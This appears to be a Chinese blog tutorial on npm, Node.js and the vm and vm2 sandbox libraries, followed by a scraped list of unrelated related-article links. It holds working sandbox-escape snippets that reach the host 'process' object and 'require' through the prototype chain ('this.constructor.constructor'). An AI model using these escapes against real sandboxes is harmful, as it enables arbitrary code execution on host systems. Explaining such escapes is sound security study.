NPM的全称是Node Package Manager,是一个NodeJS包管理和分发工具,已经成为了非官方的发布Node模块(包)的标准。

NPM由三部分组成:网站,注册表(registry),命令行工具(CLI)。

Node.js,是一个基于Chrome V8引擎的JavaScript运行环境,使用了一个事件驱动、非阻塞式I/O模型,让JavaScript 运行在服务端的开发平台,它让JavaScript成为与PHP、Python、Perl、Ruby等服务端语言平起平坐的脚本语言。

( npm是用 JavaScript 写的,运行在 Node.js 上,Node.js 内置了 npm,npm 的发展是跟 Node.js 的发展相辅相成的。)

简单来说, Node.js 就是运行在服务端的JavaScript,npm是随同Node.js一起安装的包管理工具,通过命令从npm服务器下载别人编写的第三方工具到本地使用。

VM:Node.js官方标准库中有一个vm库,用来在V8虚拟机环境中编译执行JS代码,。通常,用vm库来实现一个沙箱,在代码主程序之外执行额外的JS脚本。有时,需要vm虚拟机来执行不受信任的代码。

但是VM不安全,能轻易地获取到了主程序的全局对象 process,最终控制主程序!

因此VM2诞生,解决了VM的安全问题。

VM2实现原理分析

vm2基于vm,使用官方的vm库构建沙箱环境。然后使用JavaScript的Proxy技术来防止沙箱脚本逃逸。

vm2 特性:

  • 运行不受信任的JS脚本
  • 沙箱的终端输出信息完全可控
  • 沙箱内可以受限地加载modules
  • 可以安全地向沙箱间传递callback
  • 死循环攻击免疫 while (true) {

Sandbox(又叫沙箱、沙盘)即是一个虚拟系统程序,允许你在沙盘环境中运行浏览器或其他程序,因此运行所产生的变化可以随后删除。它创造了一个类似沙盒的独立作业环境,在其内部运行的程序并不能对硬盘产生永久性的影响。 在网络安全中,沙箱指在隔离环境中,用以测试不受信任的文件或应用程序等行为的工具。

VM沙盒 (功能是隔离上下文环境)

const vm = require('vm');const context = {animal: 'cat',count: 2
};const script = new vm.Script('count += 1; name = "kitty";'); //编译codevm.createContext(context); // 创建一个上下文隔离对象
for (let i = 0; i < 10; ++i) {script.runInContext(context); // 在指定的下文里执行code并返回其结果
}console.log(context);
// 打印: { animal: 'cat', count: 12, name: 'kitty' }//注:使用constructor可以构造逃逸

浅谈Node.js沙盒逃逸

const vm = require("vm");const ctx = {};vm.runInNewContext('this.constructor.constructor("return process")().exit()',ctx
);
console.log("Never gets executed.");//以上示例拆分:
tmp = ctx.constructor; // Objectexec = tmp.constructor; // Functionexec("return Process");

constructor: 返回一个对象的构造函数, 一直向前找构造函数,最终找到的就是Function

{}.constructor

=> [Function: Object]

{}.constructor.constructor

=> [Function: Function]

以上示例中 this 指向 ctx 并通过原型链的方式拿到沙盒外的 Funtion,完成逃逸,并执行逃逸后的 JS 代码。

//以上是通过原型链方式完成逃逸,如果将上下文对象的原型链设置为 ,
null这时沙盒在通过 ctx.constructor,就会出错,也就无法完成沙盒逃逸。
const vm = require("vm");const ctx = Object.create(null);vm.runInNewContext('this.constructor.constructor("return process")().exit()',ctx
);
// throw Error//以下示例,成功逃逸
const vm = require("vm");
const ctx = Object.create(null);ctx.data = {};vm.runInNewContext('this.data.constructor.constructor("return process")().exit()',ctx
);
// 逃逸成功!
console.log("Never gets executed.");

由于 JS 里所有对象的原型链都会指向 Object.prototype,且 Object.prototype 和 Function 之间是相互指向的,所有对象通过原型链都能拿到 Function,最终完成沙盒逃逸并执行代码。

逃逸后代码可以执行如下代码拿到 require,从而并加载其他模块功能:

const vm = require("vm");const ctx = {console,
};vm.runInNewContext(`var exec = this.constructor.constructor;var require = exec('return process.mainModule.constructor._load')();console.log(require('fs'));
`,ctx
);

沙盒执行上下文是隔离的,但可通过原型链的形式获取到沙盒外的 Function,从而实现逃逸,拿到全局数据。

浅谈NPM,vm,vm2,Node.js沙盒逃逸相关推荐

  1. node.js 沙盒逃逸分析

    作者: 凹凸曼 - nobo 背景 日常开发需求中有时候为了追求灵活性或降低开发难度,会在业务代码里直接使用 eval/Function/vm 等功能,其中 eval/Function 算是动态执行 ...

  2. 浅谈 Java VM 发展

    浅谈 Java VM 发展 Jim Huang <jimchyun @ ccns.ncku.edu.tw> <jserv @ kaffe.org> 略为整理笔者对 Java V ...

  3. js首次修改html无效,浅谈jQuery添加的HTML,JS失效的问题

    浅谈jQuery添加的HTML,JS失效的问题 如下图所示, 点击添加后,会新添加一行,但是二级联动就失效了, $('.provinceList').live('change', function() ...

  4. 再谈CVE-2017-7047 Triple_Fetch和iOS 10.3.2沙盒逃逸

    作者:蒸米 0x00 序 Ian Beer@google发布了CVE-2017-7047Triple_Fetch的exp和writeup[1],chenliang@keenlab也发表了关于Tripl ...

  5. SSTI/沙盒逃逸详细总结

    一 flask 1 .基本用法 >>> [].__class__.__base__ <class 'object'> >>> [].__class__. ...

  6. python沙盒逃逸

    题记: 闲来无事,加上之前第十一届全国大学生信息安全竞赛创新能力实践赛线下赛的时候,碰见过python沙盒的题目,于是乎想深入了解一下,故有此篇! 基础知识: 沙箱: 沙箱是一种按照安全策略限制程序行 ...

  7. 浅谈npm、yarn、cnpm、pnpm(内附网址链接)

    1- npm 1.1 npm简介 npm由三个独立的部分组成: 网站 网站是开发者查找包(package).设置参数以及管理npm使用体验的主要途径 注册表(registry) 注册表是一个巨大的数据 ...

  8. 浅谈npm和yarn的区别

    npm和yarn都属于js包管理工具,都可以安装包或者模块 Yarn是什么 Yarn 对你的代码来说是一个包管理器.它可以让你使用并分享 全世界开发者的(例如 JavaScript)代码. Yarn ...

  9. 浅谈Word.Application,关于js操作word文档的使用

    这篇文章只是说个人放个笔记在这里,并没有讲解的意思,但为了进来的朋友能知道我在说啥,写的过程中我还是简单介绍一下. 官网地址:https://docs.microsoft.com/zh-cn/offi ...

最新文章

  1. 有效的rtsp流媒体测试地址汇总
  2. python画图代码彩虹-echarts绘制彩虹图
  3. WhateverOrigin –与Heroku和Play对抗相同的原产地政策! 构架
  4. 从0到1:Python爬虫知识点梳理
  5. apt-get与dpkg常用命令
  6. 编程语言-Python-GUI
  7. UDP用户态协议栈详细实现
  8. Cgroup 资源配置方法
  9. 超简单的Spring入门案例制作,快来看看吧!
  10. vue实现公告上下滚动
  11. 全国大江大河实时水情数据下载
  12. HRNet-v1模型,用于人体形态检测
  13. DIY制作高精度低温漂电阻箱0.1~9.9GΩ(1)-- 项目介绍
  14. 李沐-->深度学习计算
  15. ios上编译c语言,如何构建C编写的库并在iOS中使用
  16. 可爱宝宝力扣刷题集目录
  17. Wifi模块—源码分析Wifi启动2(Android P)
  18. java函数式编程-科里化
  19. 消防自动喷水灭火系统(一)
  20. 解决IE8 SysFader错误的方法

热门文章

  1. python如何启动excel_如何用python打开excel
  2. 超声波。。。。-原理--
  3. 深度强化学习面试题目总结
  4. 数学建模-朴素贝叶斯分类器
  5. 什么是CUID,CRUD的操作
  6. Composer 的简介、安装及使用
  7. BATJ都爱问的Java多线程面试题整理
  8. 计算机网络学习笔记之数据链路层的介质访问控制
  9. can 串口 can 232 can 485 串口转CANbus总线网关模块CAN232/485MB转换器CANCOM
  10. CCF关于举办CSP-S/J的报名通知